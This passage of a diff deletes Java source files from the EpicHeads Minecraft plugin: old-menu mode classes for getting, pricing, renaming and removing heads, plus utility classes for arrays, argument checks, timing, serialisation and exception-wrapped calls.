List<CacheHead> heads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
|
||||
|
||||
return (heads.size() > 0 ? heads.get(0) : null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onCategorySelect(String category) {
|
||||
CacheHead head = this.getCategoryHead(category);
|
||||
|
||||
if (head == null) {
|
||||
this.getPlayer().sendMessage(ChatColor.RED + "Invalid category");
|
||||
return;
|
||||
}
|
||||
|
||||
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", newCost)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.removecost", newCost));
|
||||
|
||||
EpicHeads.getInstance().getMainConfig().removeCategoryCost(head.getCategory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
}
|
||||
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public class CostMode extends BaseMode {
|
||||
|
||||
private Double cost = null;
|
||||
|
||||
public CostMode(Player player) {
|
||||
super(player);
|
||||
}
|
||||
|
||||
public Double getCost() {
|
||||
return cost;
|
||||
}
|
||||
|
||||
public void setCost(Double cost) {
|
||||
this.cost = cost;
|
||||
|
||||
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.COST.fromType(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getName(), cost));
|
||||
|
||||
head.setCost(cost);
|
||||
EpicHeads.getInstance().saveCache();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public class GetMode extends BaseMode {
|
||||
|
||||
public GetMode(Player player) {
|
||||
super(player);
|
||||
|
||||
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.GET.fromType(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
Player player = getPlayer();
|
||||
|
||||
if (!EpicHeads.getInstance().chargeForHead(player, head))
|
||||
return;
|
||||
|
||||
//Lang.Menu.Get.added(head.getName()).send(player); ToDo: What was this?
|
||||
|
||||
player.getInventory().addItem(head.getItemStack());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
// should not be reached
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
if (getPlayer().hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) {
|
||||
return true;
|
||||
} else {
|
||||
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", category));
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,41 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public class IdMode extends BaseMode {
|
||||
|
||||
public IdMode(Player player) {
|
||||
super(player);
|
||||
|
||||
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.ID.fromType(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.id.clicked", head.getName(), head.getId()));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
// should not be reached
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.oldmenu.AbstractModedInventory;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public abstract class InvMode {
|
||||
|
||||
private AbstractModedInventory inventory;
|
||||
private Player player;
|
||||
|
||||
public InvMode(Player player, InventoryType type, Object... arguments) {
|
||||
this.player = player;
|
||||
|
||||
openInventory(type, arguments);
|
||||
}
|
||||
|
||||
public Player getPlayer() {
|
||||
return this.player;
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public <T extends InvMode> T asType(Class<T> clazz) {
|
||||
return (T) this;
|
||||
}
|
||||
|
||||
public AbstractModedInventory getInventory() {
|
||||
return this.inventory;
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public <T extends AbstractModedInventory> T getInventory(Class<T> clazz) {
|
||||
return (T) this.inventory;
|
||||
}
|
||||
|
||||
public void setInventory(AbstractModedInventory inventory) {
|
||||
this.inventory = inventory;
|
||||
|
||||
this.player.openInventory(inventory.getInventory());
|
||||
}
|
||||
|
||||
public void openInventory(InventoryType type, Object... arguments) {
|
||||
setInventory(type.createMenu(this, arguments));
|
||||
}
|
||||
|
||||
public void closeInventory() {
|
||||
player.closeInventory();
|
||||
}
|
||||
|
||||
public abstract Menu getMenu(InventoryType type);
|
||||
|
||||
public abstract void onClick(InventoryClickEvent e, InventoryType type);
|
||||
|
||||
}
|
@ -1,32 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public enum InvModeType {
|
||||
|
||||
GET(GetMode.class),
|
||||
REMOVE(RemoveMode.class),
|
||||
RENAME(RenameMode.class),
|
||||
COST(CostMode.class),
|
||||
CATEGORY_COST(CategoryCostMode.class),
|
||||
CATEGORY_COST_REMOVE(CategoryCostRemoveMode.class),
|
||||
ID(IdMode.class);
|
||||
|
||||
private Class<? extends InvMode> clazz;
|
||||
|
||||
private InvModeType(Class<? extends InvMode> clazz) {
|
||||
this.clazz = clazz;
|
||||
}
|
||||
|
||||
public Class<? extends InvMode> getInvModeClass() {
|
||||
return clazz;
|
||||
}
|
||||
|
||||
public InvMode open(Player player) {
|
||||
try {
|
||||
return clazz.getConstructor(Player.class).newInstance(player);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public class RemoveMode extends BaseMode {
|
||||
|
||||
public RemoveMode(Player player) {
|
||||
super(player);
|
||||
|
||||
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.REMOVE.fromType(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
openInventory(InventoryType.CONFIRM, head);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
EpicHeads.getInstance().getCache().removeHead(head);
|
||||
EpicHeads.getInstance().saveCache();
|
||||
|
||||
|
||||
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.remove.removed", head.getName()));
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public class RenameMode extends BaseMode {
|
||||
|
||||
private String name = null;
|
||||
|
||||
public RenameMode(Player player) {
|
||||
super(player);
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
|
||||
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.open", name));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.RENAME.fromType(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newname%", name)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.renamed", head.getName(), name));
|
||||
|
||||
head.setName(name);
|
||||
EpicHeads.getInstance().saveCache();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,61 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class SearchMode extends BaseMode {
|
||||
|
||||
public SearchMode(Player player, List<CacheHead> heads) {
|
||||
super(player, InventoryType.HEADS, "Search", heads);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.SEARCH.heads();
|
||||
}
|
||||
|
||||
public String getHeadId(CacheHead head) {
|
||||
if (!getPlayer().hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) {
|
||||
return "head-no-perms";
|
||||
} else {
|
||||
return (head.hasCost() && EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? "head-cost" : "head");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
Player player = getPlayer();
|
||||
|
||||
if (!player.hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) {
|
||||
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", head.getCategory()));
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EpicHeads.getInstance().chargeForHead(player, head))
|
||||
return;
|
||||
|
||||
//Lang.Menu.Search.added(head.getName()).send(player); ToDo: What is this?
|
||||
|
||||
player.getInventory().addItem(head.getItemStack());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
// should not be reached
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
public class ArrayUtils {
|
||||
|
||||
@SafeVarargs
|
||||
public static <T> T[] create(T... values) {
|
||||
return values;
|
||||
}
|
||||
|
||||
public static <T> T[] copy(T[] array) {
|
||||
return Arrays.copyOf(array, array.length);
|
||||
}
|
||||
|
||||
@SafeVarargs
|
||||
public static <T> T[] append(T[] list1, T... list2) {
|
||||
T[] newList = java.util.Arrays.copyOf(list1, list1.length + list2.length);
|
||||
System.arraycopy(list2, 0, newList, list1.length, list2.length);
|
||||
return newList;
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
public class Checks {
|
||||
|
||||
public static void ensureNonNull(Object argument, String argName) {
|
||||
ensureTrue(argument != null, argName + " cannot be null");
|
||||
}
|
||||
|
||||
public static <T> void ensureArrayNonNull(T[] array, String arrayName) {
|
||||
ensureNonNull(array, arrayName);
|
||||
|
||||
for(T element : array) {
|
||||
ensureTrue(element != null, arrayName + " cannot contain null values");
|
||||
}
|
||||
}
|
||||
|
||||
public static void ensureWithinRange(int num, int min, int max, String argName) {
|
||||
ensureTrue(num >= min && num <= max, argName + " must be between " + min + " and " + max + " inclusive");
|
||||
}
|
||||
|
||||
public static void ensureTrue(boolean expression, String message) {
|
||||
if(!expression)
|
||||
throw new IllegalArgumentException(message);
|
||||
}
|
||||
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import java.text.DecimalFormat;
|
||||
|
||||
public class Clock {
|
||||
|
||||
private static final DecimalFormat millisecondsFormat = new DecimalFormat("#.##");
|
||||
|
||||
private final long start;
|
||||
private long end;
|
||||
|
||||
public Clock() {
|
||||
this.start = System.nanoTime();
|
||||
this.end = -1;
|
||||
}
|
||||
|
||||
public boolean hasEnded() {
|
||||
return end >= 0;
|
||||
}
|
||||
|
||||
public String stop() {
|
||||
Checks.ensureTrue(!hasEnded(), "Timer has already been stopped.");
|
||||
|
||||
this.end = System.nanoTime();
|
||||
|
||||
return toString();
|
||||
}
|
||||
|
||||
public double getDuration() {
|
||||
return (hasEnded() ? end - start : System.nanoTime() - start) / 1e6;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "(" + millisecondsFormat.format(getDuration()) + " ms)";
|
||||
}
|
||||
|
||||
public static Clock start() {
|
||||
return new Clock();
|
||||
}
|
||||
|
||||
}
|
@ -1,48 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
public abstract class ExceptionDetailer {
|
||||
|
||||
private static class DetailException extends Exception {
|
||||
|
||||
private static final long serialVersionUID = 7714839411923164464L;
|
||||
|
||||
public DetailException(String detail) {
|
||||
super(detail);
|
||||
}
|
||||
}
|
||||
|
||||
public RuntimeException detail(RuntimeException exception) {
|
||||
return (RuntimeException) detail((Exception) exception);
|
||||
}
|
||||
|
||||
public abstract Exception detail(Exception exception);
|
||||
|
||||
public static ExceptionDetailer constructorDetailer() {
|
||||
final DetailException constructorStackTrace = new DetailException("Object constructed at");
|
||||
|
||||
return new ExceptionDetailer() {
|
||||
@Override
|
||||
public Exception detail(Exception exception) {
|
||||
try {
|
||||
return appendInfo(exception, constructorStackTrace);
|
||||
} catch (Exception e) {
|
||||
new Exception("Exception appending info to exception ", e).printStackTrace();
|
||||
|
||||
constructorStackTrace.printStackTrace();
|
||||
|
||||
return exception;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static Exception appendInfo(Exception exception, DetailException info) {
|
||||
Checks.ensureNonNull(exception, "exception");
|
||||
Checks.ensureNonNull(info, "info");
|
||||
|
||||
exception.addSuppressed(info);
|
||||
|
||||
return exception;
|
||||
}
|
||||
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.util.*;
|
||||
|
||||
public class IOUtils {
|
||||
|
||||
public static void writeArray(ObjectOutputStream stream, String[] array) throws IOException {
|
||||
Checks.ensureNonNull(stream, "stream");
|
||||
Checks.ensureArrayNonNull(array, "array");
|
||||
|
||||
stream.writeInt(array.length);
|
||||
for(String element : array) {
|
||||
stream.writeUTF(element);
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] readArray(ObjectInputStream stream) throws IOException {
|
||||
Checks.ensureNonNull(stream, "stream");
|
||||
|
||||
int length = stream.readInt();
|
||||
String[] array = new String[length];
|
||||
for(int index = 0; index < length; ++index) {
|
||||
array[index] = stream.readUTF();
|
||||
}
|
||||
|
||||
return array;
|
||||
}
|
||||
|
||||
public static void writeStringSet(ObjectOutputStream stream, Set<String> set) throws IOException {
|
||||
String[] array = set.toArray(new String[set.size()]);
|
||||
|
||||
writeArray(stream, array);
|
||||
}
|
||||
|
||||
public static Set<String> readStringSet(ObjectInputStream stream) throws IOException {
|
||||
String[] array = readArray(stream);
|
||||
|
||||
return new HashSet<>(Arrays.asList(array));
|
||||
}
|
||||
|
||||
public static void writeStringList(ObjectOutputStream stream, List<String> list) throws IOException {
|
||||
String[] array = list.toArray(new String[list.size()]);
|
||||
|
||||
writeArray(stream, array);
|
||||
}
|
||||
|
||||
public static List<String> readStringList(ObjectInputStream stream) throws IOException {
|
||||
String[] array = readArray(stream);
|
||||
|
||||
return new ArrayList<>(Arrays.asList(array));
|
||||
}
|
||||
|
||||
public static void writeUUID(ObjectOutputStream stream, UUID uuid) throws IOException {
|
||||
stream.writeLong(uuid.getMostSignificantBits());
|
||||
stream.writeLong(uuid.getLeastSignificantBits());
|
||||
}
|
||||
|
||||
public static UUID readUUID(ObjectInputStream stream) throws IOException {
|
||||
long mostSignificantBits = stream.readLong();
|
||||
long leastSignificantBits = stream.readLong();
|
||||
|
||||
return new UUID(mostSignificantBits, leastSignificantBits);
|
||||
}
|
||||
|
||||
}
|
@ -1,21 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import org.bukkit.ChatColor;
|
||||
|
||||
public class Methods {
|
||||
|
||||
public static String formatText(String text) {
|
||||
if (text == null || text.equals(""))
|
||||
return "";
|
||||
return formatText(text, false);
|
||||
}
|
||||
|
||||
public static String formatText(String text, boolean cap) {
|
||||
if (text == null || text.equals(""))
|
||||
return "";
|
||||
if (cap)
|
||||
text = text.substring(0, 1).toUpperCase() + text.substring(1);
|
||||
return ChatColor.translateAlternateColorCodes('&', text);
|
||||
}
|
||||
|
||||
}
|
@ -1,294 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import com.google.common.base.Predicate;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
import java.util.function.Consumer;
|
||||
import java.util.function.Function;
|
||||
|
||||
public abstract class SafeCall {
|
||||
|
||||
private final ExceptionDetailer exceptionDetailer;
|
||||
|
||||
private SafeCall() {
|
||||
exceptionDetailer = ExceptionDetailer.constructorDetailer();
|
||||
}
|
||||
|
||||
protected RuntimeException fail(String message) {
|
||||
throw exceptionDetailer.detail(new IllegalStateException(message));
|
||||
}
|
||||
|
||||
protected RuntimeException fail(String message, Throwable cause) {
|
||||
throw exceptionDetailer.detail(new IllegalStateException(message, cause));
|
||||
}
|
||||
|
||||
public static Runnable runnable(Runnable runnable, String name) {
|
||||
return new SafeRunnable(runnable, name);
|
||||
}
|
||||
|
||||
public static <T, R> SafeFunction<T, R> function(Function<T, R> function, String name) {
|
||||
return new SafeFunction<>(function, name);
|
||||
}
|
||||
|
||||
public static <T, R> NonNullSafeFunction<T, R> nonNullFunction(Function<T, R> function, String name) {
|
||||
return new NonNullSafeFunction<>(function, name);
|
||||
}
|
||||
|
||||
public static <T> SafePredicate<T> predicate(Predicate<T> predicate, String name) {
|
||||
return new SafePredicate<>(predicate, name);
|
||||
}
|
||||
|
||||
public static <T> NonNullSafePredicate<T> nonNullPredicate(Predicate<T> predicate, String name) {
|
||||
return new NonNullSafePredicate<>(predicate, name);
|
||||
}
|
||||
|
||||
public static <V> SafeCallable<V> callable(Callable<V> callable, String name) {
|
||||
return new SafeCallable<>(callable, name);
|
||||
}
|
||||
|
||||
public static <V> NonNullSafeCallable<V> nonNullCallable(Callable<V> callable, String name) {
|
||||
return new NonNullSafeCallable<>(callable, name);
|
||||
}
|
||||
|
||||
public static <T> SafeConsumer<T> consumer(Consumer<T> consumer, String name) {
|
||||
return new SafeConsumer<>(consumer, name);
|
||||
}
|
||||
|
||||
public static <T> NonNullSafeConsumer<T> nonNullConsumer(Consumer<T> consumer, String name) {
|
||||
return new NonNullSafeConsumer<>(consumer, name);
|
||||
}
|
||||
|
||||
public static class SafeRunnable extends SafeCall implements Runnable {
|
||||
|
||||
private final Runnable runnable;
|
||||
protected final String name;
|
||||
|
||||
private SafeRunnable(Runnable runnable, String name) {
|
||||
Checks.ensureNonNull(runnable, "runnable");
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.runnable = runnable;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
runnable.run();
|
||||
} catch(Exception e) {
|
||||
throw fail("Exception thrown when calling function " + name, e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Safe " + runnable + " (" + name + ")";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class SafeFunction<T, R> extends SafeCall implements Function<T, R> {
|
||||
|
||||
private final Function<T, R> function;
|
||||
protected final String name;
|
||||
|
||||
private SafeFunction(Function<T, R> function, String name) {
|
||||
Checks.ensureNonNull(function, "function");
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.function = function;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public R apply(T t) {
|
||||
try {
|
||||
return function.apply(t);
|
||||
} catch(Exception e) {
|
||||
throw fail("Exception thrown when calling function " + name, e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Safe " + function + " (" + name + ")";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class NonNullSafeFunction<T, R> extends SafeFunction<T, R> {
|
||||
|
||||
private NonNullSafeFunction(Function<T, R> function, String name) {
|
||||
super(function, name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public R apply(T t) {
|
||||
Checks.ensureNonNull(t, "argument");
|
||||
|
||||
R returnValue = super.apply(t);
|
||||
|
||||
if(returnValue == null)
|
||||
throw fail(name + " function returned a null value");
|
||||
|
||||
return returnValue;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "NonNull " + super.toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class SafePredicate<T> extends SafeCall implements Predicate<T> {
|
||||
|
||||
private final Predicate<T> predicate;
|
||||
protected final String name;
|
||||
|
||||
private SafePredicate(Predicate<T> predicate, String name) {
|
||||
Checks.ensureNonNull(predicate, "predicate");
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.predicate = predicate;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean apply(T t) {
|
||||
try {
|
||||
return predicate.apply(t);
|
||||
} catch(Exception e) {
|
||||
throw fail("Exception thrown when calling predicate " + name, e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Safe " + predicate + " (" + name + ")";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class NonNullSafePredicate<T> extends SafePredicate<T> {
|
||||
|
||||
private NonNullSafePredicate(Predicate<T> predicate, String name) {
|
||||
super(predicate, name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean apply(T t) {
|
||||
Checks.ensureNonNull(t, "argument");
|
||||
|
||||
return super.apply(t);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "NonNull " + super.toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class SafeCallable<V> extends SafeCall implements Callable<V> {
|
||||
|
||||
private final Callable<V> callable;
|
||||
protected final String name;
|
||||
|
||||
private SafeCallable(Callable<V> callable, String name) {
|
||||
Checks.ensureNonNull(callable, "callable");
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.callable = callable;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public V call() {
|
||||
try {
|
||||
return callable.call();
|
||||
} catch(Exception e) {
|
||||
throw fail("Exception thrown when calling callable " + name, e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Safe " + callable + " (" + name + ")";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class NonNullSafeCallable<V> extends SafeCallable<V> {
|
||||
|
||||
private NonNullSafeCallable(Callable<V> callable, String name) {
|
||||
super(callable, name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public V call() {
|
||||
V returnValue = super.call();
|
||||
|
||||
if(returnValue == null)
|
||||
throw fail(name + " callable returned a null value");
|
||||
|
||||
return returnValue;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "NonNull " + super.toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class SafeConsumer<T> extends SafeCall implements Consumer<T> {
|
||||
|
||||
private final Consumer<T> consumer;
|
||||
protected final String name;
|
||||
|
||||
private SafeConsumer(Consumer<T> consumer, String name) {
|
||||
Checks.ensureNonNull(consumer, "consumer");
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.consumer = consumer;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void accept(T t) {
|
||||
try {
|
||||
consumer.accept(t);
|
||||
} catch(Exception e) {
|
||||
throw fail("Exception thrown when calling predicate " + name, e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Safe " + consumer + " (" + name + ")";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static class NonNullSafeConsumer<T> extends SafeConsumer<T> {
|
||||
|
||||
private NonNullSafeConsumer(Consumer<T> consumer, String name) {
|
||||
super(consumer, name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void accept(T t) {
|
||||
Checks.ensureNonNull(t, "argument");
|
||||
|
||||
super.accept(t);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "NonNull " + super.toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,243 +0,0 @@
|
||||
package com.songoda.epicheads.util;
|
||||
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
